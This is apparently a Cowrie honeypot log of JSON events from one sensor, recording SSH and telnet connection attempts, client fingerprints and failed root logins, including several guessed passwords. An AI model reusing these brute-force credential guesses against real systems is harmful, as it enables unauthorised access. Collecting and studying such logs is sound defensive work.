{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:d8:e1:bf:85:70:62:fc:cd:20:99:45:9e:5e:bc:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK1n5gyh4eiSRcQWpWEM7Job65fpUwivhTUdnhhk162LkUylfnAXiBBNtskqhFb4izA2N6zkVdTtlKvMwFzag77KjedCK9iVeHuDc4AxZ/4zjzvWrmc57eNC5GSIbKvo5OrsrH2ZgnC8YQlJgWshjD4AA9mjW2s3btYDvQLHkiwhfB+rpZaDiLSW9LAhp1BTDjy2kNfR3ixrV4q1DV58zBluJVMHTl5c1U5czsyDESeJ/ISqUxI3AiSmc8WJs8PFg2xV6tlbIlyKWfp+7psg6pSdReab3dlq2PVOZInuUVnoPZwEH2PY2KRMEEJ98uuQ/uiyI1xFp60u3iTn9TCgll","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:d8:e1:bf:85:70:62:fc:cd:20:99:45:9e:5e:bc:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:14.669969Z","src_ip":"65.60.61.231","session":"fa3471cad1fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:d8:e1:bf:85:70:62:fc:cd:20:99:45:9e:5e:bc:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK1n5gyh4eiSRcQWpWEM7Job65fpUwivhTUdnhhk162LkUylfnAXiBBNtskqhFb4izA2N6zkVdTtlKvMwFzag77KjedCK9iVeHuDc4AxZ/4zjzvWrmc57eNC5GSIbKvo5OrsrH2ZgnC8YQlJgWshjD4AA9mjW2s3btYDvQLHkiwhfB+rpZaDiLSW9LAhp1BTDjy2kNfR3ixrV4q1DV58zBluJVMHTl5c1U5czsyDESeJ/ISqUxI3AiSmc8WJs8PFg2xV6tlbIlyKWfp+7psg6pSdReab3dlq2PVOZInuUVnoPZwEH2PY2KRMEEJ98uuQ/uiyI1xFp60u3iTn9TCgll","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:14.674113Z","src_ip":"65.60.61.231","session":"fa3471cad1fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:15:51:d2:92:b2:f1:6c:bf:b0:3b:83:41:48:9f:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdRyFx2dio1cvjbFYXUqnVJBVaNgNhEySgoF3ZLdfnviJfFhC1WEqX2sNgR4xuclm7GL9GHlHu4rVaJ62hM9IKZktPVjwtgjpLNpLhADSUmUqQ2doWSCdBb5H/tmpdZ3KvEnbBg6k39mrJEn9i56EbslYunYWu9to5LZfqj4/fgOhSJS1hrAzkGyFcXLYwT+Q9kasSDQX6B7zbATjYXhhUgmUJdYQ/QBesyhHkPCujLvnlnKxUX4PdGb7c+VVSqU8keoaCRs0f3ErtSr5UFctQXoTLKKZ1YJ+cLuH3Lj2L1e9f1usL8eveSVw8XUUngKF8M0dAXhtl2fzoFfnQTGDRT5ANjJ6KXBCJ42T87DfomC1iCY1Q4DjaHv4n/8SXBs/cuxdpNTOS/k3hMHIGbIOXX1iZ8zKLk/1FKOEgCQ6Ki8bQMNkK7JCI8s3CkSGN2NaRiPK2dCgyIuhBUk3xeFDO0oasWziclJ0ITLFQzdw/meEKfky73Z0mR4McB4kfcExaehLaQQ6o+LJeFX4SQVfX+pGxFkpwy96IlxHtziATISpWLb7GOcl10mK/cztSy0D4a3e8lXWSkqLlQG+DVo9i39lPgICghP63Vc0NLFSGnniPLb47Rw1SwHXo5bq0rXjHsosEqBRZt0Ppgh4smHLzlLoJYSr992sa+yDuHju2OQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:15:51:d2:92:b2:f1:6c:bf:b0:3b:83:41:48:9f:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:14.703843Z","src_ip":"65.60.61.231","session":"fa3471cad1fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:15:51:d2:92:b2:f1:6c:bf:b0:3b:83:41:48:9f:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdRyFx2dio1cvjbFYXUqnVJBVaNgNhEySgoF3ZLdfnviJfFhC1WEqX2sNgR4xuclm7GL9GHlHu4rVaJ62hM9IKZktPVjwtgjpLNpLhADSUmUqQ2doWSCdBb5H/tmpdZ3KvEnbBg6k39mrJEn9i56EbslYunYWu9to5LZfqj4/fgOhSJS1hrAzkGyFcXLYwT+Q9kasSDQX6B7zbATjYXhhUgmUJdYQ/QBesyhHkPCujLvnlnKxUX4PdGb7c+VVSqU8keoaCRs0f3ErtSr5UFctQXoTLKKZ1YJ+cLuH3Lj2L1e9f1usL8eveSVw8XUUngKF8M0dAXhtl2fzoFfnQTGDRT5ANjJ6KXBCJ42T87DfomC1iCY1Q4DjaHv4n/8SXBs/cuxdpNTOS/k3hMHIGbIOXX1iZ8zKLk/1FKOEgCQ6Ki8bQMNkK7JCI8s3CkSGN2NaRiPK2dCgyIuhBUk3xeFDO0oasWziclJ0ITLFQzdw/meEKfky73Z0mR4McB4kfcExaehLaQQ6o+LJeFX4SQVfX+pGxFkpwy96IlxHtziATISpWLb7GOcl10mK/cztSy0D4a3e8lXWSkqLlQG+DVo9i39lPgICghP63Vc0NLFSGnniPLb47Rw1SwHXo5bq0rXjHsosEqBRZt0Ppgh4smHLzlLoJYSr992sa+yDuHju2OQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:14.708225Z","src_ip":"65.60.61.231","session":"fa3471cad1fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:8d:5e:a1:c2:87:62:35:5a:56:66:8f:5d:03:38:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwgOj7aypcVcPqPA+FuZxayZEFAWGNMnTPvAY+QovkEHrziIx2iCgbou4os8YSFMrDt99hEhT1gwXqFOX5i/Ucxr/CwqVFkbgZYi0AYUuAPDheNrEHV11dn9MzMBk4cX2nm9jvSYKIOhg1tYsuILfABRXA2v8zLIqoAQrvhLYz5k=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:8d:5e:a1:c2:87:62:35:5a:56:66:8f:5d:03:38:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:14.740371Z","src_ip":"65.60.61.231","session":"fa3471cad1fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:8d:5e:a1:c2:87:62:35:5a:56:66:8f:5d:03:38:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwgOj7aypcVcPqPA+FuZxayZEFAWGNMnTPvAY+QovkEHrziIx2iCgbou4os8YSFMrDt99hEhT1gwXqFOX5i/Ucxr/CwqVFkbgZYi0AYUuAPDheNrEHV11dn9MzMBk4cX2nm9jvSYKIOhg1tYsuILfABRXA2v8zLIqoAQrvhLYz5k=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:14.746248Z","src_ip":"65.60.61.231","session":"fa3471cad1fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:d3:1c:3e:46:58:00:fc:b0:c8:38:ce:49:91:f6:27","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPhRmEqo5MAPsJNVJ3JOfdCtgq+HW+U2maAIqje+WlKS","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint be:d3:1c:3e:46:58:00:fc:b0:c8:38:ce:49:91:f6:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:14.779366Z","src_ip":"65.60.61.231","session":"fa3471cad1fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:d3:1c:3e:46:58:00:fc:b0:c8:38:ce:49:91:f6:27","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPhRmEqo5MAPsJNVJ3JOfdCtgq+HW+U2maAIqje+WlKS","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:14.784325Z","src_ip":"65.60.61.231","session":"fa3471cad1fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:14.819420Z","src_ip":"65.60.61.231","session":"fa3471cad1fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50206,"dst_ip":"10.17.0.5","dst_port":23,"session":"0172aa1ada0e","protocol":"telnet","message":"New connection: 192.119.13.58:50206 (10.17.0.5:23) [session: 0172aa1ada0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:29.413857Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34276,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0f61d1f8d4e","protocol":"telnet","message":"New connection: 192.119.13.58:34276 (10.17.0.5:23) [session: f0f61d1f8d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:42.804058Z"}
{"eventid":"cowrie.session.closed","duration":36.22035002708435,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:43.378477Z","src_ip":"192.119.13.58","session":"cdce1dd90d47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56058,"dst_ip":"10.17.0.5","dst_port":23,"session":"19444123fc3e","protocol":"telnet","message":"New connection: 192.119.13.58:56058 (10.17.0.5:23) [session: 19444123fc3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:49.567874Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55026,"dst_ip":"10.17.0.5","dst_port":23,"session":"134c98bf7d5a","protocol":"telnet","message":"New connection: 192.119.13.58:55026 (10.17.0.5:23) [session: 134c98bf7d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:57.970429Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59576,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b32dc945e06","protocol":"telnet","message":"New connection: 192.119.13.58:59576 (10.17.0.5:23) [session: 9b32dc945e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:02.388845Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":37168,"dst_ip":"10.17.0.5","dst_port":22,"session":"745552935762","protocol":"ssh","message":"New connection: 103.77.242.62:37168 (10.17.0.5:22) [session: 745552935762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:02.835431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:02.842805Z","src_ip":"103.77.242.62","session":"745552935762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:03.079023Z","src_ip":"103.77.242.62","session":"745552935762","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhjkbr","message":"login attempt [root/rhjkbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:03.799245Z","src_ip":"103.77.242.62","session":"745552935762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:05.038999Z","src_ip":"103.77.242.62","session":"745552935762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57562,"dst_ip":"10.17.0.5","dst_port":23,"session":"2822fe047254","protocol":"telnet","message":"New connection: 192.119.13.58:57562 (10.17.0.5:23) [session: 2822fe047254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:15.303427Z"}
{"eventid":"cowrie.session.closed","duration":49.37119722366333,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:18.784958Z","src_ip":"192.119.13.58","session":"0172aa1ada0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.35662126541138,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:19.160546Z","src_ip":"192.119.13.58","session":"f0f61d1f8d4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49486,"dst_ip":"10.17.0.5","dst_port":23,"session":"92c67123689e","protocol":"telnet","message":"New connection: 192.119.13.58:49486 (10.17.0.5:23) [session: 92c67123689e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:21.348006Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":36002,"dst_ip":"10.17.0.5","dst_port":22,"session":"39a2b413fa87","protocol":"ssh","message":"New connection: 89.223.69.22:36002 (10.17.0.5:22) [session: 39a2b413fa87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:22.956630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:22.961744Z","src_ip":"89.223.69.22","session":"39a2b413fa87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:23.075577Z","src_ip":"89.223.69.22","session":"39a2b413fa87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789qwerty","message":"login attempt [root/123456789qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:23.426161Z","src_ip":"89.223.69.22","session":"39a2b413fa87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:24.541434Z","src_ip":"89.223.69.22","session":"39a2b413fa87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":49014,"dst_ip":"159.203.135.109","dst_port":22,"session":"eae94ae8ff3b","protocol":"ssh","message":"New connection: 103.101.216.219:49014 (159.203.135.109:22) [session: eae94ae8ff3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:26.803722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:26.809185Z","src_ip":"103.101.216.219","session":"eae94ae8ff3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:27.050104Z","src_ip":"103.101.216.219","session":"eae94ae8ff3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"backuppc","message":"login attempt [root/backuppc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:28.040664Z","src_ip":"103.101.216.219","session":"eae94ae8ff3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:29.282606Z","src_ip":"103.101.216.219","session":"eae94ae8ff3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.956921100616455,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:29.524692Z","src_ip":"192.119.13.58","session":"19444123fc3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.75939631462097,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:34.729663Z","src_ip":"192.119.13.58","session":"134c98bf7d5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47272,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4859ef227fe","protocol":"telnet","message":"New connection: 192.119.13.58:47272 (10.17.0.5:23) [session: b4859ef227fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:36.132606Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":60330,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d9104877d15","protocol":"ssh","message":"New connection: 147.45.211.215:60330 (159.203.135.109:22) [session: 0d9104877d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:36.188510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:36.193078Z","src_ip":"147.45.211.215","session":"0d9104877d15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:36.365707Z","src_ip":"147.45.211.215","session":"0d9104877d15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqxswcde","message":"login attempt [root/zaqxswcde] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:36.886620Z","src_ip":"147.45.211.215","session":"0d9104877d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:38.065269Z","src_ip":"147.45.211.215","session":"0d9104877d15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34178,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b206fe9ea16","protocol":"telnet","message":"New connection: 192.119.13.58:34178 (10.17.0.5:23) [session: 4b206fe9ea16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:40.278432Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38934,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb30d6680c7e","protocol":"telnet","message":"New connection: 192.119.13.58:38934 (10.17.0.5:23) [session: eb30d6680c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:41.553336Z"}
{"eventid":"cowrie.session.closed","duration":40.23920130729675,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:42.627905Z","src_ip":"192.119.13.58","session":"9b32dc945e06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.2","src_port":43316,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fabbadea215","protocol":"ssh","message":"New connection: 103.203.57.2:43316 (159.203.135.109:22) [session: 3fabbadea215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:25:44.617420Z"}
